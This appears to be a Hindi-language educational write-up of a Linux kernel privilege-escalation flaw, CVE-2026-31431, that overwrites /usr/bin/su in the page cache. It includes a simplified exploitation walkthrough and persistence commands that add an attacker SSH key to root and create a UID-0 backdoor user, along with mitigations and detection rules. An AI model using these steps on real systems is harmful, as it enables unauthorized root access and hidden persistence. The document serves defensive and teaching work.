
Linux कर्नेल में Copy Fail भेद्यता (CVE-2026-31431) का विस्तृत विश्लेषण, जिसमें मेमोरी भ्रष्टाचार तंत्र, विशेषाधिकार वृद्धि प्रवाह, और सुरक्षा प्रभाव शामिल हैं।
लिनक्स कर्नेल में कॉपी फेल भेद्यता का शैक्षिक विश्लेषण।
इसमें मेमोरी भ्रष्टाचार तंत्र, विशेषाधिकार वृद्धि प्रवाह, कंटेनर पलायन और रक्षात्मक उपाय शामिल हैं।
यह रिपॉजिटरी केवल शैक्षिक और शोध उद्देश्यों के लिए है।
इस जानकारी का उपयोग उन सिस्टमों पर न करें जिनके आप स्वामी नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति नहीं है।
सभी कोड स्निपेट और कमांड केवल लिनक्स कर्नेल आंतरिक कार्यप्रणाली को समझने में सहायता के लिए प्रदान किए गए हैं।
CVE-2026-31431, जिसे कॉपी फेल के नाम से भी जाना जाता है, एक लिनक्स कर्नेल भेद्यता है जिसमें एक गैर-विशेषाधिकार प्राप्त स्थानीय उपयोगकर्ता बिना किसी विशेष अनुमति के रूट तक पहुँच प्राप्त कर सकता है।
आक्रमण पूरी तरह से RAM में संचालित होता है। डिस्क फ़ाइल को कभी नहीं छुआ जाता — जिसका अर्थ है कि फ़ाइल हैश साफ रहते हैं, टाइमस्टैम्प अपरिवर्तित रहते हैं, और ऑडिट लॉग कुछ भी दर्ज नहीं करते। जब सिस्टम रीबूट होता है, सभी सबूत गायब हो जाते हैं।
सामान्य उपयोगकर्ता → algif_aead बग का शोषण → पेज कैश अधिलेखित → रूट
मुख्य विशेषताएँ:
/usr/bin/su — लक्ष्य बाइनरीsu (स्विच यूज़र) एक उपयोगकर्ता को दूसरे खाते — आमतौर पर रूट — में स्विच करने की अनुमति देता है। यह एक SetUID बाइनरी है:
ls -l /usr/bin/su
# -rwsr-xr-x 1 root root 68208 Jan 1 2026 /usr/bin/su
# ^-- 's' = SetUID फ़्लैग
s फ़्लैग का अर्थ है: जब कोई भी उपयोगकर्ता इस बाइनरी को चलाता है, यह रूट की अनुमतियों के साथ निष्पादित होती है। यह इसे एक उच्च-मूल्य वाला लक्ष्य बनाता है।
इसका आंतरिक तर्क (सरलीकृत):
if (password_correct()) {
give_root_access();
} else {
deny_access();
}
आक्रमण लक्ष्य: password_correct() जाँच को पूरी तरह से छोड़ देना।
जब लिनक्स डिस्क से एक फ़ाइल पढ़ता है, यह उसकी एक प्रति RAM में रखता है जिसे पेज कैश कहा जाता है।
| घटक | विवरण |
|---|---|
| डिस्क | डिस्क पर मूल फ़ाइल (पुस्तकालय की शेल्फ) |
| पेज कैश | फ़ाइल की RAM प्रति (आपकी मेज़ पर फोटोकॉपी) |
| CPU | पेज कैश से पढ़ता और निष्पादित करता है — तेज़ |
| हमलावर | RAM प्रति को संशोधित करता है; डिस्क अछूती रहती है |
cat /proc/meminfo | grep Cached
# Cached: 1234567 kB ← यह पेज कैश है
| प्रकार | सुरक्षा |
|---|---|
| सुरक्षित बफर — कर्नेल-आवंटित, आकार और सीमा नियंत्रित | ✅ ठीक |
| पेज कैश — फ़ाइल-समर्थित RAM प्रति, साझा, निष्पादन योग्य | ⚠️ खतरनाक यदि लिखा जाए |
| गलत पॉइंटर — बग के कारण कहीं भी इंगित करने वाला पता | 🔴 गंभीर |
AF_ALG (एल्गोरिदम फ़ैमिली) एक लिनक्स सॉकेट इंटरफ़ेस है जो उपयोगकर्ता-स्थान प्रोग्रामों को कर्नेल क्रिप्टो फ़ंक्शन (AES, SHA, AEAD) का उपयोग करने की अनुमति देता है।
socket(AF_ALG, SOCK_SEQPACKET, 0); // क्रिप्टो सॉकेट खोलें
algif_aead कर्नेल मॉड्यूल है जो AF_ALG के माध्यम से AEAD एन्क्रिप्शन (जैसे AES-GCM) को संभालता है। भेद्यता इसके डेटा कॉपी चरण में रहती है।
AF_ALG → algif_aead → AES-GCM इंजन → आउटपुट बफर
↑
बग यहाँ है
बग एन्क्रिप्शन तर्क में नहीं है। यह मेमोरी हैंडलिंग में है — डेटा कॉपी के दौरान गलत मेमोरी क्षेत्र का चयन किया जाता है।
destination = safe_output_buffer; // सही स्थान
memcpy(destination, user_data, size); // डेटा सुरक्षित रूप से लिखा गया
destination = buffer + WRONG_OFFSET; // बग: गलत पॉइंटर!
memcpy(destination, user_data, size); // डेटा पेज कैश में पहुँचता है
कर्नेल को सुरक्षित आउटपुट बफर में लिखना था। गलत गणना किए गए ऑफसेट के कारण, यह पेज कैश में लिखता है — जिसमें /usr/bin/su की RAM प्रति होती है।
बाइनरी में x86-64 मशीन कोड होता है। हमलावर उस सशर्त जंप को लक्षित करता है जो प्रमाणीकरण विफलता को ट्रिगर करता है:
आक्रमण से पहले:
cmp eax, 0 ; रिटर्न मान जाँचें
jne 0x1234 ; यदि विफल → अस्वीकार पर जाएँ
call give_root ; रूट प्रदान करें
आक्रमण के बाद (RAM में 2 बाइट बदले गए):
cmp eax, 0 ; समान
90 90 ; NOP NOP ← जंप बदला गया, जाँच छोड़ी गई!
call give_root ; CPU सीधे यहाँ पहुँचता है
NOP = नो ऑपरेशन। CPU कुछ नहीं करता और आगे बढ़ता है — प्रमाणीकरण जाँच को पूरी तरह से छोड़ देता है।
"मुझे केवल एक सामान्य उपयोगकर्ता खाते की आवश्यकता है। कर्नेल स्वयं गलती करेगा।
डिस्क साफ रहती है। कोई लॉग नहीं। हर बार काम करता है।"
whoami && id
# uid=1000(user) gid=1000(user) ← सामान्य उपयोगकर्ता
uname -r
# 6.1.0-generic ← संवेदनशील सीमा के भीतर
ls -la /usr/bin/su
# -rwsr-xr-x root root ← SetUID की पुष्टि
python3 -c "import socket; s = socket.socket(socket.AF_ALG); print('AF_ALG उपलब्ध')"
cat /usr/bin/su > /dev/null
# /usr/bin/su अब पेज कैश में लोड हो गया है ✓
xxd /usr/bin/su | head -50
objdump -d /usr/bin/su | grep -A 20 'check\|auth\|pass'
readelf -h /usr/bin/su
खोज रहे हैं: प्रमाणीकरण फ़ंक्शन का पता, jne/jnz सशर्त जंप, और इसका सटीक बाइट ऑफसेट।
import socket, struct
sock = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
sock.bind(('aead', 'gcm(aes)', 0, 16))
sock.setsockopt(socket.SOL_ALG, socket.ALG_SET_KEY, b'A' * 16)
payload = b'\x90\x90' # NOP NOP — सशर्त जंप को बदलता है
conn = sock.accept()
conn[0].sendmsg([payload], [(socket.SOL_ALG, socket.ALG_SET_IV, ...)])
# कर्नेल आंतरिक रूप से (सरलीकृत):
destination = buffer + crafted_offset # बग: गलत पॉइंटर
memcpy(destination, payload, 2) # NOP बाइट्स पेज कैश में लिखे गए
# /usr/bin/su की पासवर्ड जाँच अब RAM में NOP NOP है
su
# पासवर्ड: (कुछ भी — या बस Enter दबाएँ)
# root@victim:/# ← रूट प्राप्त हुआ
क्या हुआ: सिस्टम ने /usr/bin/su को RAM से निष्पादित किया। पासवर्ड जाँच NOP थी। CPU ने इसे छोड़ दिया। give_root() सीधे कॉल किया गया।
echo 'attacker_public_key' >> /root/.ssh/authorized_keys
useradd -o -u 0 -g 0 backdoor
echo 'backdoor:password' | chpasswd
आक्रमण के बाद, एक फोरेंसिक अन्वेषक पाता है:
sha256sum /usr/bin/su # पहले जैसा ही हैश ← डिस्क अछूती
diff /usr/bin/su backup/su # कोई अंतर नहीं
grep -r 'attack' /var/log/ # कुछ नहीं
auditd लॉग # कोई फ़ाइल लेखन दर्ज नहीं
रीबूट पर, RAM फ्लश हो जाती है — सभी सबूत गायब हो जाते हैं।
कंटेनर उपयोगकर्ता-स्थान को अलग करते हैं — लेकिन कर्नेल साझा है, और पेज कैश कर्नेल मेमोरी है।
होस्ट कर्नेल
├── कंटेनर 1 (पृथक उपयोगकर्ता स्थान)
│ └── हमलावर यहाँ है
├── कंटेनर 2
└── होस्ट प्रक्रिया
पेज कैश: सभी कंटेनरों और होस्ट के बीच साझा!
पलायन मार्ग: कंटेनर 1 में हमलावर होस्ट का /usr/bin/su पढ़ता है → बग ट्रिगर करता है → होस्ट बाइनरी RAM में संशोधित होती है → होस्ट पर su चलाने से होस्ट मशीन पर रूट मिलता है।
प्रभावित: Docker, Podman, LXC, Kubernetes (साझा नोड्स) — यदि होस्ट कर्नेल संवेदनशील है।
ये केवल अवलोकन अभ्यास हैं। किसी भी परीक्षण के लिए लैब वातावरण (Docker + पुराना कर्नेल VM) का उपयोग करें।
free -h # पहले Cache मान नोट करें
cat /usr/bin/su > /dev/null # फ़ाइल को पेज कैश में लोड करें
free -h # Cache थोड़ा बढ़ता है
su &
sleep 1
PID=$(pgrep su | head -1)
cat /proc/$PID/maps | grep su
xxd /usr/bin/su | head -20
strings /usr/bin/su | grep -E 'pass|auth|root|fail'
sudo apt install gdb -y
gdb /usr/bin/su
(gdb) disassemble main
(gdb) info functions
(gdb) quit
sha256sum /usr/bin/su
# सामान्यतः डिस्क के समान — सफल आक्रमण के बाद भिन्न
# /proc/PID/mem तुलना के लिए रूट की आवश्यकता होती है
प्राथमिकता 1 — कर्नेल अपडेट (सर्वोत्तम समाधान)
# Ubuntu / Debian
sudo apt update && sudo apt upgrade linux-image-$(uname -r)
sudo reboot
# RHEL / CentOS
sudo yum update kernel
sudo reboot
प्राथमिकता 2 — algif_aead अक्षम करें
sudo modprobe -r algif_aead
echo 'install algif_aead /bin/false' | \
sudo tee /etc/modprobe.d/disable-algif-aead.conf
प्राथमिकता 3 — एक्सेस नियंत्रण
अविश्वसनीय प्रक्रियाओं के लिए AF_ALG सॉकेट एक्सेस को प्रतिबंधित करने हेतु systemd सेवाओं में SystemCallFilter के साथ seccomp प्रोफ़ाइल लागू करें।
sudo bpftrace -e '
kprobe:algif_aead_sendmsg {
printf("ALERT: algif_aead sendmsg by PID %d (user %d)\n", pid, uid);
}
'
# seccomp प्रोफ़ाइल के साथ चलाएँ (AF_ALG को ब्लॉक करता है)
docker run --security-opt seccomp=custom-profile.json my-image
restricted नीतिCVE-2026-31431 गोपनीयता (डिस्क अपरिवर्तित) + विश्वसनीयता (कोई रेस कंडीशन नहीं) + कंटेनर पलायन को जोड़ता है — जिससे यह अपनी श्रेणी में विशिष्ट रूप से खतरनाक बन जाता है।
algif_aead मॉड्यूल अक्षम करेंCVE-2026-31431 में, लिनक्स का क्रिप्टो मॉड्यूल (
algif_aead) में एक मेमोरी कॉपी बग है जो हमलावर-नियंत्रित डेटा को सुरक्षित आउटपुट बफर के बजाय पेज कैश में पहुँचने का कारण बनता है — चुपचाप RAM में एक SetUID बाइनरी को संशोधित करता है — जिससे किसी भी स्थानीय उपयोगकर्ता को डिस्क पर एक भी निशान छोड़े बिना रूट एक्सेस प्राप्त हो जाता है।
यह दस्तावेज़ लिनक्स कर्नेल सुरक्षा आंतरिक कार्यप्रणाली की शैक्षिक समझ के लिए तैयार किया गया है।
— केवल शैक्षिक उद्देश्य —
| फ़ील्ड | मान |
|---|
| CVE ID | CVE-2026-31431 |
| सामान्य नाम | कॉपी फेल / algif_aead पेज कैश भ्रष्टाचार |
| CVSS v3.1 स्कोर | 7.8 — गंभीर |
| आक्रमण प्रकार | स्थानीय विशेषाधिकार वृद्धि (LPE) |
| प्रभावित कर्नेल संस्करण | लिनक्स 5.10 से 6.8 (लगभग) |
| संवेदनशील घटक | crypto/algif_aead.c — AF_ALG सॉकेट इंटरफ़ेस |
| शोषण विश्वसनीयता | उच्च — कोई रेस कंडीशन आवश्यक नहीं |
| डिस्क साक्ष्य | कोई नहीं — केवल RAM-आधारित संशोधन |
| कंटेनर प्रभाव | हाँ — साझा पेज कैश के माध्यम से होस्ट पलायन |
| पैच स्थिति | उपलब्ध (अपस्ट्रीम कर्नेल पैच जारी) |
| CVE | रेस कंडीशन? | डिस्क सुरक्षित? | विश्वसनीयता |
|---|
| CVE-2016-5195 DirtyCow | हाँ — समय आवश्यक | नहीं — डिस्क संशोधित | मध्यम |
| CVE-2022-0847 DirtyPipe | न्यूनतम | हाँ — केवल RAM | उच्च |
| CVE-2026-31431 कॉपी फेल | नहीं — सीधा लेखन | हाँ — केवल RAM | बहुत उच्च |
| पहचान विधि | काम करती है? |
|---|
| sha256sum / फ़ाइल हैश | ❌ डिस्क समान है |
| फ़ाइल संशोधन टाइमस्टैम्प | ❌ डिस्क अछूती |
| auditd फ़ाइल लेखन लॉग | ❌ कोई डिस्क लेखन नहीं हुआ |
प्रक्रिया मेमोरी निरीक्षण (/proc) | ✅ केवल यदि वास्तविक समय में निगरानी की जाए |
| eBPF कर्नेल निगरानी | ✅ सिस्कॉल-स्तरीय पहचान |
| मेमोरी फोरेंसिक (LiME) | ✅ लेकिन जटिल |
| विधि | कमांड / दृष्टिकोण |
|---|
| कर्नेल संस्करण | uname -r → पैच किए गए संस्करण से तुलना करें |
| मॉड्यूल लोड है? | lsmod | grep algif_aead |
| eBPF निगरानी | bpftrace -e 'kprobe:algif_aead_sendmsg { ... }' |
| प्रक्रिया मेमोरी | cat /proc/PID/maps — डिस्क हैश से तुलना करें |
| auditd | ausearch -sc socket -sv no |
| Falco | नियम: अप्रत्याशित memfd या पेज कैश लेखन |
| मेमोरी फोरेंसिक | घटना-पश्चात विश्लेषण के लिए LiME डंप |
| CVE / नाम | रेस कंडीशन? | डिस्क सुरक्षित? | कंटेनर पलायन? | विश्वसनीयता |
|---|
| CVE-2016-5195 DirtyCow | हाँ — समय आवश्यक | ❌ डिस्क संशोधित | आंशिक | मध्यम |
| CVE-2022-0847 DirtyPipe | न्यूनतम | ✅ केवल RAM | हाँ | उच्च |
| CVE-2026-31431 कॉपी फेल | नहीं — सीधा लेखन | ✅ केवल RAM | हाँ — साझा कैश | बहुत उच्च |
| शब्द | अर्थ |
|---|
| विशेषाधिकार वृद्धि | बिना प्राधिकरण के सामान्य उपयोगकर्ता से रूट तक जाना |
| पेज कैश | RAM में संग्रहीत फ़ाइल की प्रति, कर्नेल द्वारा प्रबंधित |
| SetUID बाइनरी | रूट-स्वामित्व वाली फ़ाइल जो किसी भी उपयोगकर्ता के लिए रूट विशेषाधिकारों के साथ चलती है |
| राइट प्रिमिटिव | बग के माध्यम से प्राप्त मनमानी मेमोरी लेखन क्षमता |
| रेस कंडीशन | सटीक निष्पादन विंडो की आवश्यकता वाला समय-आधारित आक्रमण |
| AF_ALG | लिनक्स कर्नेल क्रिप्टो सॉकेट इंटरफ़ेस (एल्गोरिदम फ़ैमिली) |
| algif_aead | AEAD एन्क्रिप्शन कर्नेल मॉड्यूल — संवेदनशील घटक |
| memcpy() | मेमोरी कॉपी फ़ंक्शन — डेटा को एक पते से दूसरे पते पर ले जाता है |
| NOP | नो ऑपरेशन — CPU निर्देश जो कुछ नहीं करता और आगे बढ़ता है |
| कंटेनर पलायन | होस्ट सिस्टम तक पहुँचने के लिए कंटेनर से बाहर निकलना |
| eBPF | वास्तविक-समय सिस्कॉल पहचान के लिए कर्नेल-स्तरीय निगरानी उपकरण |
| LiME | लिनक्स मेमोरी एक्सट्रैक्टर — फोरेंसिक विश्लेषण के लिए RAM डंप उपकरण |
| Seccomp | सिक्योर कंप्यूटिंग — सिस्कॉल को प्रतिबंधित करने के लिए लिनक्स तंत्र |
| ELF | एक्ज़ीक्यूटेबल एंड लिंकेबल फॉर्मेट — मानक लिनक्स बाइनरी प्रारूप |
| CVE | कॉमन वल्नरेबिलिटीज़ एंड एक्सपोज़र्स — भेद्यता पहचानकर्ता |
| CVSS | कॉमन वल्नरेबिलिटी स्कोरिंग सिस्टम — मानकीकृत गंभीरता स्कोरिंग |
| कर्नेल मॉड्यूल | कर्नेल प्लगइन (जैसे डिवाइस ड्राइवर, क्रिप्टो हैंडलर) |
| ऑफसेट | एक मेमोरी बिंदु से दूसरे तक बाइट्स में दूरी |
| रिवर्स इंजीनियरिंग | स्रोत कोड तक पहुँच के बिना संकलित बाइनरी का विश्लेषण |
| चरण | क्रिया |
|---|
| 1 | whoami — पुष्टि करें कि आप सामान्य उपयोगकर्ता हैं |
| 2 | uname -r — सत्यापित करें कि कर्नेल संवेदनशील सीमा में है (5.10 – 6.8) |
| 3 | ls -la /usr/bin/su — SetUID फ़्लैग की उपस्थिति की पुष्टि करें |
| 4 | शोषण स्क्रिप्ट चलाएँ: AF_ALG → algif_aead → निर्मित पेलोड |
| 5 | कर्नेल बग ट्रिगर होता है → /usr/bin/su का पेज कैश RAM में अधिलेखित होता है |
| 6 | su चलाएँ → रूट प्राप्त हुआ (कोई पासवर्ड आवश्यक नहीं) |
| 7 | स्थिरता: SSH कुंजी जोड़ें या बैकडोर रूट उपयोगकर्ता बनाएँ |